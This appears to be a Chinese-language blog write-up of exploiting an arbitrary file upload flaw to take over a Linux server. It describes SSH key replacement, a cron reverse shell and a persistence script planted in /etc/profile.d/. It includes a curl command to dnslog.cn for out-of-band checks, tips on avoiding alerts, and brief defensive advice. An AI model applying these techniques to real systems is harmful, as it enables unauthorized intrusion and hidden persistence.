任意文件上传的曲折到等待上线
字数 1041 2025-08-24 16:48:07
任意文件上传漏洞利用实战教学
漏洞背景
本文记录了一个通过任意文件上传漏洞最终获取服务器控制权限的完整过程。目标系统使用了第三方上传框架,存在文件上传功能的安全缺陷。
信息收集阶段
-
端口扫描与服务识别:
- 检查对应端口是否开放(发现端口开放但返回空白页面)
- 通过Fuzz测试寻找上传接口(初始访问返回404)
-
代码审计:
- 通过已获取的源代码搜索关键词"upload"定位上传接口
- 确认上传接口后尝试直接访问
漏洞利用尝试
初始上传尝试
-
表单上传测试:
- 直接POST请求上传文件
- 遇到"表单解析失败"错误
-
SSH密钥替换攻击:
- 尝试上传公钥到
/root/.ssh/authorized_keys - 上传显示成功但无法通过SSH连接
- 可能原因:
- 服务器未开启SSH密钥认证
- 文件未实际写入目标位置
- 网络策略限制
- 尝试上传公钥到
备选攻击路径
-
反弹Shell尝试:
- 尝试通过定时任务写入反弹Shell命令(
/var/spool/cron/root) - 出于隐蔽性考虑,先测试DNSLog外带数据(成功)
- 但定时任务反弹Shell未成功
- 尝试通过定时任务写入反弹Shell命令(
-
Profile.d持久化攻击:
- 发现
/etc/profile.d/目录下的.sh文件会在用户打开bash时自动执行 - 验证方法:
# 在/etc/profile.d/创建测试文件 echo "curl dnslog.cn/test" > /etc/profile.d/test.sh # 新开终端窗口观察DNSLog记录 - 确认可行后上传恶意.sh文件
- 发现
最终利用流程
- 上传恶意脚本到
/etc/profile.d/目录 - 脚本内容可包含:
- 反弹Shell命令
- 其他持久化后门
- 等待管理员或系统用户打开新的终端会话
- 获取反向连接或执行预设操作
关键知识点
-
Linux自动执行机制:
/etc/profile和/etc/profile.d/*.sh在用户登录时执行- 适用于所有用户的Shell初始化
-
隐蔽性技巧:
- 使用DNSLog先验证执行可行性
- 避免直接反弹Shell触发告警
-
上传漏洞利用思路:
- 多尝试不同位置的写入
- 当首选方法失效时寻找替代执行路径
防御建议
-
修复上传漏洞:
- 严格校验上传文件类型、内容和路径
- 设置上传目录不可执行
-
系统加固:
- 限制
/etc/profile.d/目录写入权限 - 监控敏感目录的文件变更
- 限制
-
安全监控:
- 设置对
/etc/profile.d/目录的File Integrity Monitoring - 记录和分析异常Shell启动行为
- 设置对
总结
本案例展示了如何通过任意文件上传漏洞,结合Linux系统特性实现权限获取的完整过程。关键在于理解系统的自动执行机制,并在直接攻击路径受阻时灵活寻找替代方案。